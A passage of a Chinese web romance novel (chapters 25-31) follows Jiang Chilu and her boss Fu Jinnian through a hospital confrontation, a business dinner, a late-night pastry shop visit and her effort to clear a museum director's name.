“你聋了吗?你知不知道她肚子里的可是我唐海第一个儿子,要是把她身体气坏了,你赔得起吗!”唐海仗着身份,肆无忌惮,戾气直冲。
江迟鹿思绪飞快,她道个歉,先把这事解决了,比起这些,楼上何老先生的生命更重要。
心里滑过委屈,也只能强压下去,谁让对面惹不起。
她动了动唇瓣,开口道:“对......”
“你吼这么大声,要是把她吼坏了,怎么赔?”
一道低沉冷冽的嗓音落下,像一道围墙,将江迟鹿和唐海之间分割,给她莫大的安全感。
江迟鹿人还一片懵茫,垂着的手被一只干燥的大手牵起来,“傅靳年......”
她抬眼,看到他侧颜,淡若平秋的眸底又似隐着锋锐,薄唇轻声慢笑,“唐总,音量还是收着点好,她胆子小,经不住吓。“
唐海顿时懵了,他盯着眼前的人,“傅,傅总,你怎么在这。”
他快速的扫看了江迟鹿一眼,语气都哆嗦了,“你刚刚说.....”
傅靳年垂睨下眸子,抬手,指尖蹭她白皙的脸,又捏了下她耳垂,“真被吓坏了?”
江迟鹿对上他徐徐缓缓落下来的眼神,偏狭长的凤眸,凑近她耳边的嗓音更低沉,带着宠溺,陌生又熟悉的柔情话语,她惊慌又局促地垂下视线,慢吞吞吐出一个,“没。”
江迟鹿必须得承认一件事,自己要是古代的皇帝,派傅靳年这么个美人来勾引的话......还真是把持不住。
唐海慌乱过后立即反应过来,谄笑道:“原来这位是傅总的女朋友,刚刚都是误会,都是误会。”
唐海看向旁边的叶简心,“你跟傅总女朋友肯定是误会,有什么误会好好解释,大家都是朋友,尤其你们以前还是同学,同门之谊多难得。”
叶简心看他突然变卦的脸,心里一阵难受,她看了一眼江迟鹿,目光望向傅靳年。
一个穿得跟刚从土里出来似的,一个穿着定制西装,长身玉立的矜贵模样。
尤其还得知他便是那位唐家人人都想尽办法要攀附的傅家长子,这样的人却是江迟鹿的男朋友,温柔地跟她说话。
就好像自己又输给了江迟鹿一次。
“傅总,那你知道你女朋友在你之外还有一个男朋友吗。”叶简心意有所指。
唐海脸色惊变,煞白地盯着叶简心,“你说什么呢!闭嘴!”
就算傅总的女朋友在外面偷吃,也不能当着人家面说啊。
第二十五章 直接辞职!离开傅靳年
唐海看傅靳年的反应,他依旧捏着那细致的手腕,神色懒淡纾松,看起来好像并不在意,散漫地说:“她怎么样我不需要从你嘴里了解。”
唐海都不知道自己老婆今天怎么这么鲁莽,立即上前赔罪,腰弯得就差扣在地上了,“傅总,今天真是抱歉吗,是我们的错,你看怎么做才能......挽救今天这场误会。”
他一边道歉,一边扯着旁边的叶简心,瞪眼威胁她。
叶简心自觉耻辱,咬着牙,低着头低喃出了一句对不起。
“你该道歉的人不是我。”傅靳年墨眸幽邃,垂下看了一眼江迟鹿。
她动了动手腕,感受腕上他掌心越来越热的温度。
耳边听到叶简心犹如凌迟的道歉:“对不起......江迟鹿,是我的错,我今天不该那样,我欠你一道情。”
她指尖略动,面对叶简心的道歉,转头看向傅靳年,“先上楼吧,有正事。”
叶简心被故意冷落,脸色更加难堪,却也只能忍受。
正好傅靳年的助理出来,有些茫然地看着唐海和叶简心。
傅靳年轻扫了一眼唐海,“有什么事情你可以跟他说。”
交代完,他看着江迟鹿,等待她带自己上楼。
江迟鹿拉着傅靳年进电梯,一边和他解释原委。
说完,两人出了电梯,她盯着傅靳年,等他做出反应。
他睨下那双精致好看的眼睛,幽邃深沉,盯得人心里发紧。
“所以......你为什么和祁柏言单独去。”
医院走廊有些吵,他的声音混着那些杂乱的声音入耳,江迟鹿一时还以为自己是听错了。
这是重点吗?
“也是凑巧了,刚好碰上,所以就......”她顾左右,无所事事的点头,“到了。”
傅靳年微眯了下眼,在心中将祁柏言这三个字念了一遍。
何老先生的手术成功了,江迟鹿也才从医院那里得知,原来何老先生根本没有儿女,他一生闲散,爱字画,不喜喧嚣,便隐居了。
江迟鹿听着这身份,倒是觉得何老先生同蒋院长像是同类人。
想要劝他出面应该不难。
“傅总,今天谢谢你,要不是你我还真不知道该怎么办了。”
她可能只能找人借电话跟家里借钱,但也不一定能拿的出那么多。
傅靳年淡淡应了一声,显然并不在乎那笔钱,他问:“祁柏言不是跟你一起吗,他人呢?”
他有些事情想要问他。
江迟鹿顿了一下,忙过头了,都忘记祁柏言了,她蹙眉,“是啊,祁柏言怎么还没回来。”
他顿了一下,偏头往一旁看去。
江迟鹿垂着头,只看得到她纤长的睫毛挂着,耳边碎发有些憔悴,上面干掉的泥巴都还在。
突然就想到那天自己装成被下药的样子,而她第一反应出口找苏轻回来。
她为什么第一反应是叫苏轻。
助理开口说,“唐总太太说要拿三百万赔偿给江小姐,聊表歉意。”
江迟鹿什么都没听到,她只听到三百万,给她的。
有了这三百万她还怕什么!直接辞职!直接带着父母出国,再也不搅合男女主之间的破事。
第二十六章 不收钱
助理又说:“被唐总骂了一番,说她这是在侮辱人,于是最后决定办一个宴会,郑重向江小姐公开道歉。”
江迟鹿身形僵硬,缓缓抬头看向他,“......啊?”
她的三百万就这么没了?
助理小心看了一眼傅靳年:“苏小姐那边?”
“联系苏家的人。”说完,他起身,看向她,“你......跟我走。”
她还沉浸在痛失三百万的情绪里呢,抬头茫然望着他,“走去哪?”
傅靳年只给她留了个背影,态度很冷。
她起身跟上去,停留在黑色迈巴赫的门前,她看了一眼自己身上,望向旁边高大修长的人,“我要是把你车弄脏了怎么办。”
这货不会故意跟她要索赔吧。
“不收钱。”傅靳年像是一眼看穿了她在想什么,唇角扯出了一丝笑,是气笑了。
她这才闭嘴上车。
尴尬的是......坐上车,江迟鹿明显感觉到自己身上的那种泥巴味盖过了傅靳年车上的淡淡香薰。
她垂着头不说话,抠手背上的泥巴,簌簌掉落一地。
傅靳年终于忍不住了,额角隐隐凸显青筋,“别扣了。”
江迟鹿想起来,他有洁癖。
点头应了一声,还是妥协没有再继续了。
她看向窗外,见车直接开进了高级酒店的地下车库,心里发虚。
缓缓偏头看旁边的人。
傅靳年身形懒散靠在座椅,眼睫闭着,优越的眉骨连接高挺的鼻梁,水滴形的人中,薄而有型的唇瓣,凸出的喉结,怎么看都很性感。
她视线不自觉往下,他身上的西装干净贵气,再往下被包裹在笔直西装裤里......好长的腿。
她瞥开视线,轻咳了一声,“我们来酒店做什么啊?”
她心里发紧,忍不住又开始抠手上的泥,手背上本来就没什么肉,很快就红了。
“你说做什么?”他声音低沉磁性,在她耳边挠痒痒似的。
“我......”手上抠泥巴的力度更重了,耳朵有些发烫。
手上突然覆盖下来一只大手,掌心干燥温热,压住了她不断扣挠的手指,让她动不了。
“你想做什么?”他又问。
这一次因为手上的动作拉近了两人的距离,他说话时有气息吐纳在她耳边,耳根子连着耳廓开始迅速散发热度,烦心得很。
司机停了车,她很快地拉开车门出去。
傅靳年不紧不慢地从车里出来,好像还和司机交代了什么,但是江迟鹿在外面没有听清楚。
大概是和苏轻有关系吧,男主怎么可能把女主一个人撂在医院。
“按电梯,八楼。”他在后面说了一句。
江迟鹿还不知道他要做什么,不是很情愿地去按了电梯。
电梯门开了,她却没有进去。
傅靳年走到她身旁,说,“等会儿要和博物院的人见面,你身上这么脏不洗一下?”
她恍然大悟,他刚才在车上故意逗她!
她瞪了一眼进电梯的人。
江迟鹿站在酒店套房门口,身形微滞。
这是当初她和傅靳年初夜的套房。
她不动声色抬眼,打量了一下傅靳年的神色,见他平色如常,就像完全忘记了一样。
步伐突然跟灌了铅一样重,她拖着步伐进去。
房间的格局跟以前还是一样,空气里有木调香水味。
他抬手指了一下浴室,“去吧。尽量快点。”
他扫一眼手表,“给你半小时。”
一有了时间限制,江迟鹿顿时就着急起来了,窜进了浴室迅速清理自己身上。
等穿着浴袍出去,她发现傅靳年也刚从另一个浴室出来,和自己同样穿着浴袍。
江迟鹿懵,“傅总,你这是?”
傅靳年随手丢了擦发的毛巾,朝江迟鹿走去,开口道:“善后今天的事。”
他抬手,攥住她手腕往卧室走。
“啊?什么善后,你拉着我做什么。”江迟鹿身形往后,不愿意进卧室。
“我跟唐海说了你是我女朋友,很快这件事情就会被传到傅家。”
他解释,“唐家跟傅家有些联系。”
江迟鹿顿时反应过来,“啊,那这怎么办,要是唐海知道我其实不是你女朋友,再来找我麻烦怎么办。”
她烦躁地抓了一下头发,“你也是,你当时干嘛非要说我是你女朋友,你直接说我是你下属,让他看在你的面子上放过我不就行了。”
现在这个情况还不如她当时道歉呢。
唐海在医院被落了面子,要是知道她根本不是傅靳年的女朋友,找人打她怎么办。
脑子里已经开始上演一场被蒙着脑袋暴打的画面。
“所以,做实不就好了。”男人嗓音平淡,好像在说着今天天气挺好一样。
江迟鹿瞪大眼睛,“你说什么呢!什,什么做实!”
她深吸了一口气,猛地推开了傅靳年,“你不是说赶时间要见博物院的人吗,快走吧,工作为重。”
他挡在她面前,“不是工作赶时间,是我赶时间。”
江迟鹿差点两眼一黑,自己又被耍了,亏她洗澡的时候还担心时间不够,使劲搓把皮肤都搓红了。
“老板,我都跟你说了我有男朋友啊,我总不能谈两个男朋友吧?”江迟鹿咬牙,“而且......就算要谈两个也不可能是你。”
最后一句话像是激怒了傅靳年一样,他眸子漆黑,“为什么不可能是我?那你想是谁?祁柏言?”
江迟鹿甚至还没反应过来,听到他喉咙发出一声冷笑,“果然,我早就怀疑你跟他不对劲了。”
“不是......”江迟鹿懵逼,“我跟他哪里不对劲了,你才不对劲,你明明......”
明明有喜欢的人了为什么还要来招惹她。
江迟鹿的话没说出口,酒店的门铃响了。
傅靳年走过去开门,提着袋子进来,他递给江迟鹿,“衣服,换上。”
“啊?”江迟鹿又懵了,刚才还要跟她睡,现在又叫她穿衣服。
要是真的要睡的话,穿衣服干嘛,反正都要脱。
她看到傅靳年眉眼冷笑,“见博物院的人。”
第二十七章 我选择你
江迟鹿顿住,大脑一片茫然。
所以刚刚只是试探?
试探她是不是真的对他还有感情。
突然,心里一股难堪翻涌出来。
比起在医院被叶简心强迫道歉,此刻的心情更难受。
她深吸一口气,缓缓吐出去,“傅总,你放心,我很爱我的男朋友,我们两家已经在商量婚事了,我很快就会稳定下来。”
她语气绝然冷淡。
说完,拿过袋子进了浴室。
只是给她递了个衣服,突然就得知她已经商量婚事了。
傅靳年站在那,身形许久未动。
他拿出手机,给周衍发消息。
【她要结婚了,怎么办?】
傅靳年盯着消息框里的字,他眼睛干涩发红。
好像他人生里问出的怎么办, 都是和她有关。
只有她的问题,他束手无策。
他现在身份不同,他当然可以用恶劣的手段夺回她,可他不想那样做。
江迟鹿会不喜欢,会哭。
手机上,周衍回复:
【别怕,结了婚还能离呢,大不了你当外室。】
【......凭什么是我当外室?】
【不是,我随口一说,你还真想过啊。】
【......】
江迟鹿从浴室换好衣服出来。
身上的衣服很合身,一件香槟色的短款小裙子,得体大方。
让江迟鹿尴尬的是,她带着衣服进去时才发现,里面居然连内衣裤都准备了。
她将另一个袋子放在床上。
那是她试穿过一次的内衣。
傅靳年看向她,“怎么不换?不合适吗?”
他明明是按照她的尺寸叫司机买的。
江迟鹿匆忙点了下头,扯开话题,“快走吧。”
傅靳年却还盯着那个袋子,“成年后也会发育吗?”
江迟鹿:“......”那当然了!当时她才十八!
傅靳年走过去,指骨抵开袋子。
还没把里面的内衣拿出来,被江迟鹿抓住手,“你干什么?”
“我看一下是不是司机买错了。”
“不用,我里面的又没脏,走了,你不是赶时间吗!”
“我看一下又不耽误。”
“有什么好看的!”
她劝不动,傅靳年捏着那根肩带要把东西扯出来。
江迟鹿咬牙,“就是我长大了!不行啊!谁说成年了就不能发育了。”
傅靳年:“......”
两人最终沉默着上了车。
不过江迟鹿还是把那件内衣带走了,那个牌子很贵的,放在家里显得贵气。
到了高峰期,路上堵车。
江迟鹿收到了祁柏言打来的电话。
“迟鹿,我手机掉了我刚回去找到,我现在在医院,你人呢。”
“我现在跟傅总去和博物院的人吃饭,你看好何老先生吧,等他醒了跟我说一声。”
对面似乎沉默了几秒,最后回了一个好。
江迟鹿这边电话刚挂掉,傅靳年那边接了一个电话。
她头偏向外面,尽量不去听了。
但是还是听到了。
“我听说你有女朋友了?”对面好像是一个老人的声音,“快带回家我们看看啊,今天行不?我叫人准备一下。”
看得出来那边的人很着急。
江迟鹿咬着唇,指尖发紧,转头紧盯着傅靳年。
他轻声应道:“行啊。”
风轻云淡的。
江迟鹿瞪他,口型说:“不行。”
傅靳年轻笑,“她现在在我旁边,你要和她说两句吗。”
那边的老人显然更激动了,“这,会不会太突然了,人家小姑娘做好准备了吗?”
傅靳年已经把手机递到了江迟鹿嘴边。
江迟鹿咬牙, 行,这样搞她是吧,那都别想好过了。
她清了清嗓音,开口道:“哈哈,你好,我是傅靳年炮友,根本不是什么男女朋友,而且我俩现在已经分开了,因为我找到身材更好的了。”
傅靳年:“......”
他太阳穴发疼,收回手机,老爷子那边已经挂断电话了。
并且收到老爷子发来的微信消息:
【你个没出息的!】
傅靳年关掉手机,也没解释。
抬眼看向江迟鹿,“炮友?你确定?”
江迟鹿丝毫不生气,“是你没有经过我的同意跟你家人说我是你女朋友,还想让我接电话的,我这也只是以其人之身还......”
在她说话时丝毫没注意到傅靳年按了隔板的开关,一隔绝掉司机那边的视野,他的吻就落了过去。
忍了很久了。
她缩在车窗角落,傅靳年半具身体压在她的身上,一只手就能攥住她双腕,黑漆漆的眸子盯着她,呼吸与她交缠。
两人都没闭眼,江迟鹿除了刚开始的惊讶,此刻眼神也平淡无比。
傅靳年像是在和她较劲,张开唇瓣咬她。
江迟鹿除了眉头微蹙了一下,眼神没有任何变化。
她也并不推他,只是没有任何反应。
傅靳年却被她的平淡刺到了。
他松开她。
看到她在他离开的下一刻,拿出包里的湿纸巾擦嘴,垂着眼睛,“傅总,如果还有这种事的话,我只有报警了,我和你说过很多次了,我对你没有想法。”
傅靳年眼睫轻轻颤了一下,他眯眼,“真的吗。”
江迟鹿将纸巾攥在掌心,冰冷的纸巾被她的体温包裹,她冷声开口,“对。”
傅靳年身形懒散一靠,开口道:“既然你有男朋友了,那场宴会还去钓金龟婿?说明你对你男朋友也并不完全满意?”
江迟鹿没说话,因为这在她编造的故事里是个bug。
耳边传来他几乎低喃的声音,“所以只要有比你男朋友更好的,更有钱的,你跟他的感情很容易就能破碎,就算结婚了,也能离婚。”
她沉默着,开口道:“那也是我的事。”
“我难道不是那个比你男朋友更好,更有钱的人吗?”他偏头,好看的眉眼盯着她,“今天那三百万你很想要是吧。”
江迟鹿扯了下嘴角,“谁不想要。”
“如果选择我,你会有很多个三百万。”
他这是在诱惑她?
江迟鹿蹙着眉,有些生气了,他试探一次两次也就算了。
难道就非要她对他摇尾乞怜,他才能放过她。
江迟鹿吐出一口气,“傅总,你说的很多个三百万是你的而已,我选择你?我能得到的什么?”
第二十八章 男朋友
傅靳年盯着她,一动不动,“你想要什么,我就给什么。”
江迟鹿愣住,“你这话什么意思。”
她指尖抓着衣摆的布料,紧抿着唇,她想问他,这到底是试探,还是代表其他什么。
但是想到自己的下场,她改了口,“这世界上又不是只有你一个有钱人。”
江迟鹿抬眼,眸色漆黑,“就算我真的要走捷径,也不走你这条。”
她语气平淡地叙述,却像一把锋锐的刀子一样直戳戳刺进傅靳年的心脏。
在下车前,两人再没任何交流。
到了包间和程光远打了照面,程光远脸上是笑意,目光从江迟鹿身上短暂滑过。
上一次江迟鹿什么事都没有,傅靳年就给他狠揍了一顿,他如今哪里还有胆子,不小心多看一眼都怕。
“傅总,想来您也知道我们这次约你是为了什么。”程光远开门见山,“蒋院长的事情网上闹得大,上面跟我对接了,说是以后和贵司的合作全权交给我。”
可以看出来,程光远从蒋院长出事后,风光得意,就连身边的那些人都对他更谄媚了。
江迟鹿偏头看向坐在自己身边的傅靳年,他身姿挺拔,修长的手指压在透明酒杯上,微敛的眼睫盖住了眸底的心思,也不知道在想什么。
程光远倒了一杯酒敬傅靳年,脸上堆起了笑,喉咙发出粗厚的笑声,不像是管理博物院的文化人,倒像是一朝得意的暴发户。
“傅总,相信媒体那边都联系你了......”程光远眼睛半笑起来眯成了缝,眼睛里泛出精锐的光,“为了博物院的名声,也为了我们更好的合作,您在接受媒体采访时,把责任推给蒋文芳,这样我们都不会受到任何损害。”
前两天还恭恭敬敬喊着蒋院长的人,这会儿蒋院长还任职呢,就改口直呼其大名。
江迟鹿垂下眼皮,掩盖眸底的鄙薄。
傅靳年手腕动了动,一旁观候的服侍生上前倒酒水。
他站在江迟鹿和傅靳年的中间,隔绝了江迟鹿的视野。
江迟鹿心底有些发慌,傅靳年都已经知道了何老能够解释,应该不会答应程光远的话吧。
不打算回敬程光远的话,又为什么让人倒酒呢。
“程院长客气了,这样的事情你不说我也会这么做的,毕竟生意人,重在利益。”
他嗓音平淡,说完,抬起手中的酒杯,和程光远碰杯一饮而下。
江迟鹿坐在旁边,心情有些乱,但没在程光远面前表现出来,打算等会儿出去了再问傅靳年。
程光远得了他同意,脸上笑意更盛,心里冷笑,他还当这位是什么高风亮节的人呢,这样看来,那天晚上恐怕不是什么为下属出气,而是他身边那个女下属早就勾搭上他了。
程光远眼光一闪,给助理发消息安排了一下。
他就不信了,自己混迹这么几十年,连个女人都搞不到手,傅靳年现在对她新鲜着才不愿意别人染指罢了,等他看上了别人,一个实习生算什么。
江迟鹿原本以为这一次应该就是简单的吃饭了,谁知道没过几分钟,门口居然进来几个高挑的大美女。
穿着大方得体的小裙子,是过来陪酒的。
甚至江迟鹿身边还给安排了一个。
她看了一眼美女,在心里腹诽,不应该给她安排个帅哥什么的吗......
那位美女显然对自己分配到的这位我也不是很满意。
眼前这个一看就不能赚外快,她有些敷衍地对待着。
江迟鹿吃了两口菜,看了一眼傅靳年身边那个美女。
是全场最漂亮的,长得还挺仙气飘飘的,又有一丝妩媚,属于是男女通吃的颜值。
她故意去看傅靳年的脸色,发现他很平淡,那位美女给倒酒他也会喝,只是会避开肢体接触,而且还是相当自然地避开,就好像他只是一切如常,并没有刻意要避开一样。
江迟鹿刚要收回视线,被傅靳年盯了一眼。
她看懂了傅靳年眼里的意思,他有洁癖,但是这种场合不好彰显与众不同。
这就需要她的帮忙了。
上次他揍了程光远,程光远肯定猜测两人是那种关系,现在她要是露出点不爽,傅靳年顺势叫那美女下去也很正常。
但是江迟鹿偏不。
让他难受去吧!
在酒店耍她,还三番两次试探。
要不是她惹不起,早就想扇他两巴掌了。
傅靳年见她装瞎子低头,喉咙发出一声冷笑。
抬手,用自己的筷子夹了一块蚌肉放进江迟鹿碗里,嗓音宠溺,“多吃点。”
明显,傅靳年旁边那个美女尴尬了,原本紧挨着他的身体也离远了些。
江迟鹿抬眼,盯住他。
喜欢夹菜是吧......
“我还想吃虾。”
江迟鹿笑眯眯盯着他,傅靳年在他的目光下,又帮她夹虾。
只可惜这里的虾都是专门剥了壳的,不然她还能挑刺。
她一口吃掉那只虾,正要抬头再指唤傅靳年给她夹菜。
只是,没等她抬头,视野里一只骨感好看的手指握着筷子,夹了一块炖牛腩放到她碗里。
红烧牛腩是她很喜欢吃的一道菜,傅靳年这绝对不是为难她。
她茫然过后,眼神带着警惕看向他。
傅靳年却还伸手摸了摸她的脑袋,“吃吧。”
就好像两人真有着某种不可说的关系一样。
一场饭局上,程光远和剩下几位副院长以及其他高层就这样看着初印象是个高冷禁欲人设的傅总一直在当旁边那小姑娘的夹菜员。
两人身边陪酒的,都很有眼色的离远了。
饭局结束,回到车上,江迟鹿盯着傅靳年:“你为什么答应程院长,等何老先生一醒,就可以帮蒋院长澄清。”
傅靳年乜斜一眼过去,长睫垂下,“所以,更不能让他猜疑。”
江迟鹿立即反应过来,“你故意答应他。”
“让他再跳会儿,跳得越高,摔得越惨。”他语气淡然。
“你和程光远有仇吗?”江迟鹿不懂,他怎么看起来很想收拾程光远的样子。
第二十九章 打趣
傅靳年扯了下薄唇,他侧颌看向窗外,“他蠢到我了。”
江迟鹿:“......”
这人还有厌蠢症。
“诶,我们不回酒店吗?你这又是去哪。”
江迟鹿盯着外面陌生的路景。
傅靳年回复:“等蒋院长的事情处理完我们就要回京市,当然是好好玩一玩。”
她看过去,皱眉:“苏轻现在还在医院诶。”
作为男主,他居然还有心思玩。
看着车窗外的男人却不甚在意,“我又不是医生。”
傅靳年的语气听起来很随意,像是一点也不在意苏轻一样。
她估计两人可能是吵架了。
这个矛头一出来,江迟鹿结合刚才在饭店傅靳年的反应,更觉得自己是猜对了。
男主和女主吵架了,和她这个女配故意亲近一下,然后惹女主吃醋,做戏给女主看。
真是古早狗血。
江迟鹿靠在座椅上,想着无聊的垃圾剧情,不知不觉睡了过去。
还做了个小美梦。
梦里她发了大财,住在庄园里,自己的衣帽间比商场还大,漂亮衣服,名牌包包,高跟鞋,珠宝,家里还有很多佣人围着她转。
只是一睁眼, 就是傅靳年的脸,给她吓得不轻,“你,你干嘛。”
傅靳年见她醒了,便从另一边推开车门下去。
江迟鹿往窗外一看,发现天都黑了,也不知道她睡了多久。
拿出手机一看,她发现自己这一趟睡得还挺久的,车也开了这么久吗?
前面的司机座驾都空了。
她拉开车门也出去。
黑夜漫漫,星空点缀,气温有些低,她迎着风,看到独自走在前面的傅靳年,追上去,“这里也没什么好玩的嘛,好安静。”
傅靳年站定,黑夜里,灯光朦胧,只有远处一家小店亮着光,他回头看向江迟鹿,“那边有一家老牌子酥饼店。”
他说完,又往前走,江迟鹿跟在后面。
等走近了,江迟鹿看到那家老牌子酥饼店叫七七酥饼,她有些惊讶,直接跑到了傅靳年前面,“这是七七酥饼?我还以为早就倒闭不卖了呢。”
这个牌子的酥饼是江迟鹿大学的时候在网上发现的,很好吃,有一段时间几乎天天吃,还给胖了三斤,后面网上没有卖的了。
当时临近期末,每次傅靳年找她去自习室,两人走在路上,她就开始念叨自己爱吃的酥饼倒闭了,网上其他酥饼都没有那一家好吃。
她惊喜地走进店里。
店里只有一个老婆婆守着,原来这些酥饼都是她手工做的,难怪其他地方怎么也买不到这个味道的。
“婆婆!您这酥饼怎么卖的呀。”她咧嘴笑着,粉唇白齿,店里的光一照,白莹莹的。
老婆婆还是第一次见长得这么漂亮的人,简直比电视剧里那些女主角还漂亮,她笑着,眼尾的皱纹更深,却显得她更和蔼,“三块钱一斤。你要多少钱的。”
江迟鹿想带些回京市,便让老婆婆直接给称了十斤。
还想多要些的,又怕带回去没吃完就坏了。
尤其她最近压力大,容易发胖,一日三餐都吃得不多,零食更是能不吃就不吃。
“婆婆,你们之前不是网上也有卖吗,现在怎么不卖了啊?”她一边拿出手机准备微信支付,一边说,“我不是本地人,但是特别喜欢吃您做的酥饼,之前在网上回购了十几次,诶,您这收款码在哪啊。”
老婆婆脸色尴尬了一下,“不好意思啊小姑娘,我只收现钱,我没念过学不识字,也用不来那什么智能手机,总是按错地方,之前能在网上卖,是我孙子帮忙,现在,他不在了,我也不知道怎么在网上卖东西.....”
提到孙子,朦胧陈旧的灯光里,她眼睛有些发湿,笑着看向江迟鹿,“现在出门带现钱的人找不到几个了,你要是没带钱的话,这些当我请你吃的,你之前照顾我们那么多次生意。”
“当然不行!”江迟鹿往兜里摸了好几次。
空空如也。
她看向旁边的傅靳年,轻咳一声,“那个,你带钱了吗?”
傅靳年双手插进裤袋里,盯着他,“好像带了,怎么了?”
江迟鹿咬牙,这货又在这里装,明明知道自己要干嘛。
“借我。”她喉咙挤出两个字。
傅靳年勾了下唇角,那张俊帅的脸上出现了一丝调侃,“借东西得有借东西的态度吧,我可不叫那个。”
老婆婆站在旁边,笑着打趣,“你当男朋友的,不能主动点。”
要是江迟鹿真的没钱,老婆婆是不打算收钱的。
但是现在看,这小情侣明显是吵架了。
需要给个台阶呢。
江迟鹿听到那声男朋友,立即反驳,“不是,才不是男朋友。”
傅靳年瞥了她一眼,眼神不太好。
江迟鹿看老婆婆的情况就知道是家里经济不太好的,说什么都不可能不给钱的。
“傅总,我求你了,借我点钱。”江迟鹿向来是能屈能伸的。
傅靳年吸了口气,看向别处,“不够好听。”
旁边的老婆婆又来凑热闹了,“想起我以前跟我老头子撒娇,叫得可腻歪了。现在年轻人流行叫宝宝是吧?”
江迟鹿窘,“呵呵,我们真不是.....”
转头一看傅靳年期待着盯着她。
第三十章 念念不忘,是因为真的好吃吧。
她深吸一口气,能屈能伸,直接随他的意,笑眯眯地看着他,“男朋友.......”
虽然叫得很勉强,但还算好听,傅靳年从兜里拿出了现钱。
江迟鹿拿过去递给那个婆婆。
有些可惜对方的酥饼不能在网上买,但是至少知道对方没有倒闭,这一点还是挺好的,以后来这边玩的时候可以买回去。
一边吃着酥饼,往外走,她往傅靳年那边看了好几眼。
傅靳年微微偏头,看向她,“盯着我看什么。”
江迟鹿笑了一下,开口道,“你......是怎么找到这里的。”
傅靳年一只手插在裤袋里,开口道:“运气吧。”
江迟鹿不说话了。
傅靳年突然开口问,“真的有那么好吃吗?”
他看着她手里的饼,眸光晦涩,“是怀念以前,还是真的觉得饼好吃。”
江迟鹿有些发愣,总觉得他说的不像是饼。
“挺好吃的啊,不然怎么会念念不忘,你要吃吗?”
她从口袋里拿出一个酥饼,反正也是用他的钱买的。
傅靳年看着她手上的饼,低头咬了一口。
江迟鹿瞬间呆愣住,看着他低头咬住自己手上的酥饼,一愣,那个饼掉在了地上。
傅靳年咬着愣了一下。
江迟鹿僵硬的开口,“你自己没有手吗,非要在我手上吃。”
她说完,往前面跑了。
傅靳年盯着地上掉落的那块饼,微微有些走神。
念念不忘,是因为真的好吃吧。
那么他对她呢,她看起来没心没肺的,一点也不像是对他还有感情的样子,尤其......她还谈了新的男朋友。
他还不认识,他宁愿她谈的男朋友是自己认识的人。这样好歹,还能让他觉得自己仍然在参与她的生活。
她的生活中仍然有自己。
.......
第二天的新闻发布会上,傅靳年向众多媒体表明了公司仍然会和博物院合作。
这话一出,炸翻了锅,众多媒体的手中的话筒像刀子一样子指着他,“蒋文芳院长做出这样的事情,偷换博物院的展品,大家联合举报蒋院长,蒋院长却依旧没有被卸职,你们仍然要合作?这不是助纣为虐吗!”
“是啊,能够合作的博物院有那么多,贵公司偏偏抓着蒋院长,我能不能理解成贵公司也是一伙的,所以根本不在乎蒋院长原来在网上的营销全部垮掉。”
“傅先生能解释一下网上有人说在私人酒店看到您打了程院长的事情吗?听说您公司的苏轻小姐是蒋院长的干孙女,您是因为蒋院长才打的程院长?”
一个记者的问话让大家都懵了,这要是真的,傅靳年当众打人,还打的是跟蒋院长对立面的程光远,那么他和蒋院长私通的传闻恐怕要坐实了。
启恒分公司原本能靠着这次的合作更上一层楼,结果楼塌了。
傅靳年也将无法和总部那边交代。
他的回答至关重要。
此时,医院住院部。
江迟鹿在一个小时前收到消息说何老先生醒过来了,她马不停蹄赶过来。
看到何老先生靠在病床上,桌上一个小桌子,护工在旁边削水果,而他手有些发抖的拿着一支笔在写什么。
江迟鹿缓和了一下呼吸,敲了敲病房的门,里面传出一声进来,她才进去。
“何老先生。”她坐在床边的一个小凳子上。
何老先生抬头看了她一眼,“你就不该救我。”
江迟鹿知道他当时是想死在那山上的。
“抱歉不小心救了你。”她从包里拿出手机,“但是我相信你如果了解了蒋院长的事情,你会觉得我救得好。”
“蒋院长?蒋文芳?”江迟鹿点头,将事情解释给他听,“所以,其实您买的那副字画,是程光远倒卖的。而现在能站出来为蒋院长正名的只有你,你和蒋院长都是一样的人,热爱文学历史......”
她低眼一看,扫过何老先生桌上的纸笔,都住院了还不忘记写写画画,蒋院长也是这样的人。
她在来何老这边前联系苏轻去照顾蒋院长。
何老先生冷哼一声,“小姑娘,你是打听到一些事情,可惜你没打听完,我跟蒋文芳关系不好,我是不可能去帮她的,博物院对她最重要了,到最后她得到的是什么?”
江迟鹿有些意外,何老居然和蒋院长关系不好,但是听最后一句,虽然有着嘲讽的意味,却也让江迟鹿听出惋惜。
两人关系绝对不是简单的不好。
她认准这一点打算深挖,人的情感是复杂的,就是宿敌,对于何老先生和蒋院长这种清高明正的人,对方若是被别人诬陷的,怕是还能拉对方一把。
他们是不屑对手被这种恶心的法子打败的。
江迟鹿又把那段录音放给何老听,“在偷换展品前,程光远还打算用这件事情打击蒋院长,如果我没有引导蒋院长说出有利于她的话,没有录制下来完整的录音,现在就是两重风波压在蒋院长身上......被曾经救过的人背叛,被自己一生热爱的工作背叛......”
何老听到录音里面蒋文芳撕扯的声音,他脸色凝重下来,倏地看向江迟鹿,“她身边现在有人吗?”
江迟鹿像是才反应过来,“没有,完蛋了,蒋院长不会想不开吧?我今天去看她,她说她不想见任何人.......”
江迟鹿话还没说完,就看到何老起身冲了出去,她着急地抢救着输液管,带着点滴追上去。
好在傅靳年给转的高级私人医院,人不多,江迟鹿提前跟医生打过招呼,也没有人拦。
何老并没有发现这些,连电梯都没坐,直接跑楼梯。
江迟鹿想提醒他,但是想到这是二楼,便跟在后面。
“你跟着我做什么,你快打电话联系她,联系她身边的人。”
他一边冲出医院,一边和江迟鹿说,“快点叫人看出她,别让她做出什么傻事。”
他也没发现跑出去正正好就有一辆出租车停在那里,直接坐了上去。
江迟鹿带着他的点滴液跟上去,拿出手机,假装给蒋文芳打电话,“没人接啊。”
他一句话没说,脸冷得吓人。
车停在蒋院长家门口。
他利落地下了车,丝毫不像是刚动过手术的人。
直接冲去了蒋文芳的住宅。
蒋文芳住在靠近博物院的一间四合院里。
面积还是挺大的。
江迟鹿没来过,第一次走进去都不知道方向。
她就跟在何老身后。
“蒋文芳!”
第三十一章 自从江迟鹿出现...
他刚冲进主屋,就看到正伏在书案前执笔写书的蒋文芳,蒋文芳旁边坐着苏轻。
看到何老吓了一跳,“何爷爷。”
蒋文芳也是一愣,抬眼,扫了一眼他身上的病服,江迟鹿手里的点滴,接着又看了一眼他手背上都倒血了的输液管。
她眉间蹙了蹙,放下笔起身,“何书彦,我还以为你早就死了呢。”
江迟鹿摸了摸鼻子,这问候语.......太亲切了。
何书彦看她好好的冷哼一声,“你怎么不接电话。”
